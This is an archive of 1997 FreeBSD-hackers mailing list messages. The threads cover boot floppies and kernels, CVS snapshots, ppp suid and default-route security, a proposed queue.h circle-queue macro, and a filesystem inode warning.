UAA10405 for ; Sat, 20 Sep 1997 20:22:42 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.71 #1) id 0xCcan-0001cB-00; Sat, 20 Sep 1997 20:21:53 -0700 Date: Sat, 20 Sep 1997 20:21:52 -0700 (PDT) From: Tom To: dk+@ua.net cc: Wilko Bulte , freebsd-hackers@freebsd.org Subject: Re: Different kernels for the bindist and boot.flp? In-Reply-To: <199709210230.TAA13931@dog.farm.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 20 Sep 1997, Dmitry Kohmanyuk wrote: > Yes, and in Linux, you can take any kernel you want, and boot from > it, and then use the same root disk as you have used for installing > your system on `standard' hardware. Without making release. I don't understand this part exactly. I can stick any kernel I want into my root disk and boot from it, without making release. > Yikes, you can even boot from the same 2 floppies, get a shell, > and then mount your hard drive and repair any hard errors. > What's more, you can specify root disk and kernel disk separately. "same two floppies"? I can use the install and fixit disk, and do that too. > Linux, in fact, sucks ;-) > > -- > EXCLUSIONS. This warranty does not cover the following: > ... 3. Damages caused by ... external causes such as abuse, misuse, inadequate > power supply or acts of God. > -- Westinghouse refrigerator manual (submitted by sia@nest.org) > > Tom From owner-freebsd-hackers Sat Sep 20 21:14:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA12101 for hackers-outgoing; Sat, 20 Sep 1997 21:14:55 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA12095 for ; Sat, 20 Sep 1997 21:14:51 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id NAA03779; Sun, 21 Sep 1997 13:44:41 +0930 (CST) Message-ID: <19970921134440.07039@lemis.com> Date: Sun, 21 Sep 1997 13:44:40 +0930 From: Greg Lehey To: "Jordan K. Hubbard" Cc: Joerg Wunsch , FreeBSD Hackers Subject: Re: How do I check out a snapshot? References: <19970921095657.08487@lemis.com> <1572.874810931@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <1572.874810931@time.cdrom.com>; from Jordan K. Hubbard on Sat, Sep 20, 1997 at 08:02:11PM -0700 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, Sep 20, 1997 at 08:02:11PM -0700, Jordan K. Hubbard wrote: >> I thought you were going to say something like this. That's fine, but >> wouldn't it (looks at jkh) be a good idea to publish the date and time >> of the snap? > > I would have thought that was rather clear from the uname -a output > when you first install the system. :-) I don't have the system. I want to get the same version from my cvs tree. Greg From owner-freebsd-hackers Sat Sep 20 21:27:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA12484 for hackers-outgoing; Sat, 20 Sep 1997 21:27:07 -0700 (PDT) Received: from usr07.primenet.com (tlambert@usr07.primenet.com [206.165.6.207]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA12479 for ; Sat, 20 Sep 1997 21:27:04 -0700 (PDT) Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id VAA12977; Sat, 20 Sep 1997 21:26:46 -0700 (MST) From: Terry Lambert Message-Id: <199709210426.VAA12977@usr07.primenet.com> Subject: Re: Different kernels for the bindist and boot.flp? To: dk+@ua.net Date: Sun, 21 Sep 1997 04:26:45 +0000 (GMT) Cc: wilko@yedi.iaf.nl, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199709210230.TAA13931@dog.farm.org> from "Dmitry Kohmanyuk" at Sep 20, 97 07:30:28 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Linux, in fact, sucks ;-) You are, of course, being facetious about it being "too flexible"; just clarifying for the religious nuts reading the thread. 8-). Which is a nice segway... > EXCLUSIONS. This warranty does not cover the following: > ... 3. Damages caused by ... external causes such as abuse, misuse, inadequate > power supply or acts of God. > -- Westinghouse refrigerator manual (submitted by sia@nest.org) I've been waiting to have something fail as a result of an act of God, so I could then sue the richest organized religion I could find to recover damages. They of course would be free to claim that they were not, in fact, God's representatives on Earth... unfortunately for my wallet, God seems to somehow be aware of my plan. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Sep 20 22:04:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA13861 for hackers-outgoing; Sat, 20 Sep 1997 22:04:09 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA13856 for ; Sat, 20 Sep 1997 22:04:01 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id XAA01422; Sat, 20 Sep 1997 23:03:59 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id XAA25758; Sat, 20 Sep 1997 23:03:32 -0600 (MDT) Date: Sat, 20 Sep 1997 23:03:32 -0600 (MDT) Message-Id: <199709210503.XAA25758@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Eivind Eklund Cc: hackers@freebsd.org Subject: Re: Is there a way to prompt for boot device? In-Reply-To: <199709202124.XAA18194@bitbox.follo.net> References: <199709200219.WAA13122@smoke.marlboro.vt.us> <19970920130551.DB36336@uriah.heep.sax.de> <199709202124.XAA18194@bitbox.follo.net> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > at least in 2.2.2, boot -a works only if you have the kernel > > > configured with "swap generic", which i think is not generally > It is a minor security breach - it would e.g. allow somebody with > physical access to boot from a floppy[1] even if the machine isn't > set up to do so from the BIOS. You can do that now, w/out swap generic. If you're that paranoid about security, do what I did and disable booting off anything but the standard kernel. If someone spams your, then *you* can go re-enable floppy boot and boot off a fixit floppy. Nate From owner-freebsd-hackers Sat Sep 20 23:17:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA16113 for hackers-outgoing; Sat, 20 Sep 1997 23:17:42 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA16108; Sat, 20 Sep 1997 23:17:28 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id XAA00211; Sat, 20 Sep 1997 23:16:50 -0700 (PDT) Date: Sat, 20 Sep 1997 23:16:50 -0700 (PDT) From: "Jamil J. Weatherbee" To: Eivind Eklund cc: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= , hackers@FreeBSD.ORG, brian@awfulhak.org, brian@FreeBSD.ORG Subject: Re: ppp restrictions In-Reply-To: <199709202102.XAA18140@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I was reading the man page on pppd while setting up a ppp server and when I saw the whole defaultroute thing I was astonised that any user could go in and basically change the default route so I put a -defaultroute in the /etc/ppp/options file (this should be default with the distribution). Also, does anyone out there in hacker land have the "login" option working when the server that is being logged into is running nis? On Sat, 20 Sep 1997, Eivind Eklund wrote: > > > > On Fri, 19 Sep 1997, Brian Somers wrote: > > > I think the best place to discuss this is on -hackers. Some people > > > think that ppp should not be suid at all, others like it the way it > > > was.... > > The way it was is IMHO unacceptable. It is a huge security hole, > similar to sticking the root password in a world readable file in a > slightly hidden location - acceptable in many situations, but not a > way we can live with shipping systems. > > > Too many things works only from root, it is not flexible. Lets consider > > suid abilities with and without suid requirements. If we have suid > > abilities without suid requirement, we need yet one level of restriction > > to separate them from normal user, it is "network" group currently. If we > > have suid requirements, we don't need "network" group and return to old > > model where all things are done from root. > > I like the present model. It allow you to be as strict (or not) as > you want, but default to a secure value. "Principle of least > surprise" indicate that users shouldn't be able to change routes; them > doing that is more surprising than not being able to run PPP (which is > easy enough to fix) > > Eivind. > From owner-freebsd-hackers Sat Sep 20 23:31:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA16412 for hackers-outgoing; Sat, 20 Sep 1997 23:31:36 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA16407 for ; Sat, 20 Sep 1997 23:31:34 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id XAA28049 for ; Sat, 20 Sep 1997 23:18:23 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd028044; Sun Sep 21 06:18:19 1997 Date: Sat, 20 Sep 1997 23:28:51 -0700 (PDT) From: Julian Elischer To: hackers@freebsd.org Subject: addition to queue.h? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have a queue-type that I would personally like to see in queue.h basically a headless circle queue. the point is that if you have several cases of a structure which are siblings in some respect. I get a pointer to one of them, and wish to examine the rest of them. If I just go around the circle till I get back to my original entry, then I can do what I want, but in the current CIRCLEQ macro set, I also need to have a place where I 'ground' the queue with a CIRCLEQ_HEAD entry. As I showed before, this may not be what I want. Possibly just the addition of a few simple macro's might extend the CIRCLEQ type to cover this case, with more ease.. any suggestions? julian From owner-freebsd-hackers Sat Sep 20 23:50:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA17146 for hackers-outgoing; Sat, 20 Sep 1997 23:50:36 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA17135 for ; Sat, 20 Sep 1997 23:50:31 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA22183 for freebsd-hackers@FreeBSD.ORG; Sun, 21 Sep 1997 08:50:30 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA07511; Sun, 21 Sep 1997 08:21:39 +0200 (MET DST) Message-ID: <19970921082139.ZL33162@uriah.heep.sax.de> Date: Sun, 21 Sep 1997 08:21:39 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: free inode //612 had 208 blocks References: <19970920191957.VJ14474@uriah.heep.sax.de> <199709202113.OAA24268@usr07.primenet.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709202113.OAA24268@usr07.primenet.com>; from Terry Lambert on Sep 20, 1997 21:13:41 +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Terry Lambert wrote: > > Sep 5 18:10:11 sax /kernel: free inode //612 had 208 blocks > Is this after a crash and reboot? Nope. The machine is running ~ 70 days now, the message dates back by 15 days. > Or an NFS server? Ligthweight. /usr/local is shared with a news server. The machine itself is a shell login / PPP / UUCP / SLIP server. > If it happens frequently, it may be more serious corruption. But > a one-time-occurance is not a problem, especially fater one of the > two events described above. It was the first time i've seen it. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-)